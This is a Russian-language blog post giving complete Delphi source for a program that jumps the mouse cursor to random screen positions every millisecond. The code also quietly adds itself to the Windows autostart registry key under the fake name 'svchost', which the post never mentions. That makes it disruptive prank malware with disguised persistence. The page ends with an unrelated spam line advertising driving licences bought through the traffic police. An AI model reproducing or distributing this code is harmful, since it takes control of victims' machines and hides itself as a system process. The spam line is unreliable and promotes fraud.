Главная » Delphi, Исходники, Разное » Хаотическое движение курсора по экрану
Окт
12

Хаотическое движение курсора по экрану

Задание: создать программу для виполнения хаотического движения по экрану курсора мыши.

[sourcecode language=»css»]

unit Unit1;

 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, Registry;
 
type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    procedure OnHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
  public
    { Public declarations }
  end;
 
const
  ID1 = 100;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.FormCreate(Sender: TObject);
var
  Reg: TRegistry;
begin
  RegisterHotKey(Handle, ID1, MOD_CONTROL, VK_HOME);
  Timer1.Interval := 1;
  Timer1.Enabled := True;
  Reg := TRegistry.Create;
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey(‘\Software\Microsoft\Windows\CurrentVersion\Run’, False);
    Reg.WriteString(‘svchost’, Application.ExeName);
  FreeAndNil(Reg);
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Randomize;
  SetCursorPos(Random(Screen.Width), Random(Screen.Height));
  Timer1.Interval := 1;
  Timer1.Enabled := True;
end;
 
procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnRegisterHotKey(Handle, ID1);
end;
 
procedure TForm1.OnHotKey(var Msg: TWMHotKey);
begin
  case Msg.HotKey of
    id1: Close;
  end;
end;
 





end.

[/sourcecode]

Уведомление: для закрытия программы нажмите сочетание клавиш Ctrl + Home или  Alt + F4.



Понравилась статья? Сделай приятно ее автору, поделись с друзьями:


Хотите получать обновления данного блога на EMail?

Введите адрес Почтового Ящика:




Подтвердите подписку в письме пришедшем на Почту, после чего начнете получить рассылку.

купить права в москве через гибдд